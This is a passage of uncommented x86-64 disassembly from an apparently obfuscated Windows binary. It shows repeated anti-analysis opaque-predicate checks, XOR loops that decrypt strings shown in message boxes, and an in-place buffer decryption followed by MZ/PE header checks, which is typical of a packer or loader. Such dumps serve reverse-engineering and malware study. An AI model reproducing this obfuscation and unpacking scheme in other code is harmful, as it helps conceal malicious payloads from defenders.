cmp rax, rcx
je 0x140022a86
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022a86
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140022aa6
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
test r14, r14
je 0x14002edd4
cmp qword [rbp + 0x1200], r15
je 0x14002edd4
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140022b66
mov rax, qword gs:[0x2c]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rdi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rdi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140022b46
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022b46
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140022b66
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rdi, qword [rbp + 0x1200]
lea rcx, [rbp + 0x11f0]
call fcn.14002ff40
mov rdx, rax
mov r8, rdi
mov rcx, r14
call fcn.1400b7ef0
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140022c31
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140022c11
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022c11
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140022c31
mov rax, qword [rbp + 0xf48]
mov rdx, qword [rbp + 0xf50]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140022cf0
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x293263b
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140022cd0
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022cd0
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140022cf0
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
xor edx, edx
lea rcx, [rbp + 0x11f0]
call fcn.14003063c
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140022da8
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140022d88
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022d88
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140022da8
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140022e57
mov rax, qword gs:[0x2c]
mov ecx, 0xfec3ba48
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140022e37
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140022e37
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140022e57
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf98], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf60]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf98], cl
inc rdi
cmp r8d, 8
jb 0x140022e84
mov ebx, r15d
movabs r11, 0x8080808080808081
test rsi, rsi
je 0x140022fa3
mov rcx, r15
mov rax, r11
mul rsi
mov r8, rdx
shr r8, 7
add r8b, sil
mov r9, r14
mov r12, r11
and rcx, r13
movzx edi, byte [rbp + rcx + 0xf98]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
mov ecx, r15d
lea r11, [rbp + 0xf98]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xf98]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x140022f15
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, rsi
jb 0x140022ef7
mov r14, qword [rbp - 0x18]
movabs r12, 0x1cf36c5eb18189bc
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x35]
mov ebx, 0xce3e160c
mov esi, 0x293263b
mov edi, 0xcbaaefd1
mov r8d, 0x2fac53c4
cmp rax, rbx
jne 0x14002306f
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002304f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002304f
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002306f
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x140023119
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400230f9
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400230f9
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140023119
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x1400231d2
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400231b2
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400231b2
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400231d2
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
mov ecx, 0x5a4d
cmp word [r14], cx
je 0x1400235bb
cmp rax, rbx
jne 0x140023290
mov rax, qword gs:[0x2c]
mov ecx, 0xfec3ba48
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140023270
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140023270
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140023290
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf50]
xor rdx, rax
mov rcx, qword [rbp + 0xf48]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x2d0], xmm0
mov word [rbp + 0x2e0], reloc.WS2_32.dll_recvfrom
mov r10, r15
movabs rbx, 0x1c99559a2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1e62eaf3c2
movabs r9, 0x3cc5d5e784
movabs r14, 0x8080808080808081
mov cl, r10b
and cl, r13b
shl cl, 3
movabs rdi, 0x1c99559a1
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x2d0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400232da
mov byte [rbp + 0x2e1], r15b
movdqa xmm0, xmmword [0x1400d5620]
movdqu xmmword [rbp + 0xc68], xmm0
movdqa xmm1, xmmword [0x1400d56c0]
movdqu xmmword [rbp + 0xc78], xmm1
movdqa xmm0, xmmword [0x1400d55b0]
movdqu xmmword [rbp + 0xc88], xmm0
mov dword [rbp + 0xc98], 0x8bef120e
mov dword [rbp + 0xc9c], 0xea439628
mov dword [rbp + 0xca0], 0xad0c7b2d
mov word [rbp + 0xca4], Ordinal_41
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x6d08965b9a
movabs r11, 0xda112cb734
movabs r12, 0x1c99559a1
mov cl, r9b
and cl, r13b
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc68], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x1400233c3
mov byte [rbp + 0xca5], r15b
xor r9d, r9d
lea r8, [rbp + 0x2d0]
lea rdx, [rbp + 0xc68]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x35]
mov r15d, 0xce3e160c
cmp rax, r15
movabs r12, 0x1cf36c5eb18189bc
jne 0x1400234fa
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400234da
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400234da
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400234fa
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rcx, qword gs:[0x35]
cmp rcx, r15
jne 0x14002f10b
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002359b
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002359b
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002f10b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
cmp rax, rbx
jne 0x14002366b
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002364b
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002364b
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002366b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movsxd rdx, dword [r14 + 0x3c]
add rdx, r14
mov qword [rbp + 0xf98], rdx
mov rax, qword gs:[0x35]
mov r14d, 0xfec3ba48
cmp rax, rbx
jne 0x140023729
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140023709
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140023709
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140023729
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
je 0x140023b0d
cmp rax, rbx
jne 0x1400237e2
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r14
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400237c2
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x1400237c2
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400237e2
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x2e8], xmm0
mov word [rbp + 0x2f8], reloc.WS2_32.dll_recvfrom
mov r10, r15
movabs rbx, 0x1c99559a2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1e62eaf3c2
movabs r9, 0x3cc5d5e784
movabs r14, 0x8080808080808081
mov cl, r10b
and cl, r13b
shl cl, 3
movabs rdi, 0x1c99559a1
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x2e8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002382c
mov byte [rbp + 0x2f9], r15b
movdqa xmm0, xmmword [0x1400d5620]
movdqu xmmword [rbp + 0xca8], xmm0
movdqa xmm1, xmmword [0x1400d56b0]
movdqu xmmword [rbp + 0xcb8], xmm1
movdqa xmm0, xmmword [0x1400d55b0]
movdqu xmmword [rbp + 0xcc8], xmm0
mov dword [rbp + 0xcd8], 0x8bef120e
mov dword [rbp + 0xcdc], 0xea439628
mov dword [rbp + 0xce0], 0xad0c7b2d
mov word [rbp + 0xce4], Ordinal_41
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x6d08965b9a
movabs r11, 0xda112cb734
movabs r12, 0x1c99559a1
mov cl, r9b
and cl, r13b
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xca8], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140023915
mov byte [rbp + 0xce5], r15b
xor r9d, r9d
lea r8, [rbp + 0x2e8]
lea rdx, [rbp + 0xca8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x35]
mov r15d, 0xce3e160c
cmp rax, r15
movabs r12, 0x1cf36c5eb18189bc
jne 0x140023a4c
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140023a2c
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140023a2c
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140023a4c
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, r15
jne 0x14002f10b
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140023aed
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140023aed
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002f10b
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
cmp rax, rbx
jne 0x140023bae
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, r12
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140023b8e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140023b8e
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140023bae
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1098], xmm0
mov qword [rbp + 0x10a8], rax
movdqa xmm1, xmmword [0x1400d5590]
movdqu xmmword [rbp + 0x988], xmm1
mov dword [rbp + 0x998], 0x71d89144
mov dword [rbp + 0x99c], 0xac0e8c10
mov dword [rbp + 0x9a0], 0x6cb8ea57
mov word [rbp + 0x9a4], 0xb6e0
mov byte [rbp + 0x9a6], al
mov r8, r15
movabs rsi, 0x1c99559a1
lea r10d, [rax + 0x1e]
movabs r9, 0x359f8080fc
movabs r12, 0x1c99559a2
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x988], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x6b3f0101f8
cmp r9, rax
jb 0x140023c23
mov byte [rbp + 0x9a6], r15b
lea rax, [rbp + 0x988]
mov qword [rbp + 0x230], rax
movdqa xmm0, xmmword [0x1400d53d0]
movdqu xmmword [rbp + 0xa48], xmm0
movdqa xmm1, xmmword [0x1400d53a0]
movdqu xmmword [rbp + 0xa58], xmm1
mov r8, r15
mov r10d, Ordinal_33
movabs r9, 0x376915da9e
movabs r14, 0x6ed22bb53c
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xa48]
xor dil, r8b
mov byte [rbp + r8 + 0xa48], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, r14
jb 0x140023cdc
mov byte [rbp + 0xa67], r15b
lea rax, [rbp + 0xa48]
mov qword [rbp + 0x238], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf70], rax
lea rax, [rbp + 0x240]
mov qword [rbp + 0xf78], rax
movaps xmm0, xmmword [rbp + 0xf70]
movdqa xmmword [rbp + 0xf70], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0x1098]
call fcn.14002f118
mov rax, qword gs:[0x35]
cmp rax, rbx
mov r14d, 0xfec3ba48
mov edi, 0x293263b
jne 0x140023e60
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0xcbaaefd1
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, 0x2fac53c4
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140023e40
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140023e40
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140023e60
mov rax, qword [rbp + 0xf48]
mov rdx, qword [rbp + 0xf50]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
movabs rsi, 0x1cf36c5eb18189bc
cmp rax, rbx
jne 0x140023f14
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rsi
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140023ef4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140023ef4
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140023f14
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
xor ecx, ecx
call fcn.140099b64
mov rcx, rax
call fcn.140095444
mov rax, qword gs:[0x35]
mov r8d, 0xcbaaefd1
mov r9d, 0x2fac53c4
cmp rax, rbx
jne 0x140023fe8
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140023fc8
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140023fc8
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140023fe8
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x1400240a1
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140024081
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140024081
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x1400240a1
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140095438
int3
mov rax, qword gs:[0x35]
cmp rax, rbx
jne 0x14002415a
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf48], rdx
mov rcx, qword gs:[0x2c]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf50], rdx
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002413a
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002413a
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002415a
mov rax, qword [rbp + 0xf50]
mov rdx, qword [rbp + 0xf48]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
